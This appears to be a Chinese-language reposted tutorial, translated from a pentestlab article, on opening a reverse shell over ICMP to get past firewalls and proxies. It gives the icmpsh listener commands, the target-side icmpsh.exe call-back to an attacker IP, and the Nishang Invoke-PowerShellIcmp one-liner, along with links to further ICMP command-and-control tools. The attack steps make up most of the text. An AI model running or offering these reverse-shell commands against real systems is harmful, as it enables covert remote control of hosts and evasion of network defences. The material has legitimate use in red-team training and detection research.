通过ICMP协议反弹SHELL并执行命令

2019-12-18 15:02:11 浏览数 (1)

内网中的大多数系统都位于防火墙和企业代理之后,以便控制入口以及出口流量。防火墙可以拦截到反连的shell,但ICMP协议基本上是不拦截的。因此,为了获得shell并在目标主机上执行命令,可以使用ICMP协议作为隐藏通道进行连接。

使用icmpsh(https://github.com/inquisb/icmpsh)工具可用来执行此攻击。推特上的大牛@Bernardo Damele已经将其导入到他的工具sqlmap中,可以使用-os-pwn选项来发起攻击。

以下命令将禁止ICMP回显,这对于工具正常使用是至关重要的,启动一个监听器,该监听器将等待目标主机的ICMP数据包:

代码语言:javascript复制
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh_m.py 192.168.100.3 192.168.100.4

icmpsh工具中还包含需要在目标主机上传输和执行的二进制文件。以下命令将向监听主机发送ICMP包:

代码语言:javascript复制
icmpsh.exe -t 192.168.100.3

ICMP Shell – Executing Binary

一个shell将通过ICMP接收,并且也可以通过这个管道来执行命令。

Daniel Compton(https://twitter.com/commonexploits)开发了一个自动化过程的脚本。此脚本所需的唯一输入是目标主机的IP地址。该脚本包含在icmpsh(https://github.com/inquisb/icmpsh)中。

ICMP Shell - 自动化

工具有多个选项的命令和控制。

PowerShell框架

在Nishang框架中包含一个PowerShell模块,可以与icmpsh python脚本结合使用,以获取ICMP上的shell。在主机上,执行下面命令将会开始监听ICMP数据包。

代码语言:javascript复制
./icmpsh_m.py 192.168.100.3 192.168.100.4

在目标主机上,PowerShell的Icmp模块仅需要主IP地址:

代码语言:javascript复制
Import-Module .Invoke-PowerShellIcmp.ps1
Invoke-PowerShellIcmp 192.168.100.3

Nishang模块 - ICMP Shell

PowerShell - ICMP Shell

参考资料

代码语言:javascript复制
https://attack.mitre.org/wiki/Command_and_Control
http://bernardodamele.blogspot.co.uk/2011/04/reverse-connection-icmp-shell.html
https://github.com/inquisb/icmpsh
https://github.com/samratashok/nishang
http://leidecker.info/downloads/index.shtml
https://github.com/nocow4bob/PiX-C2
https://github.com/sincoder/icmp_shell
https://github.com/Darkpaw95/ICMP_Rev_shell

文章来源:

代码语言:javascript复制
https://pentestlab.blog/2017/07/28/command-and-control-icmp/

0 人点赞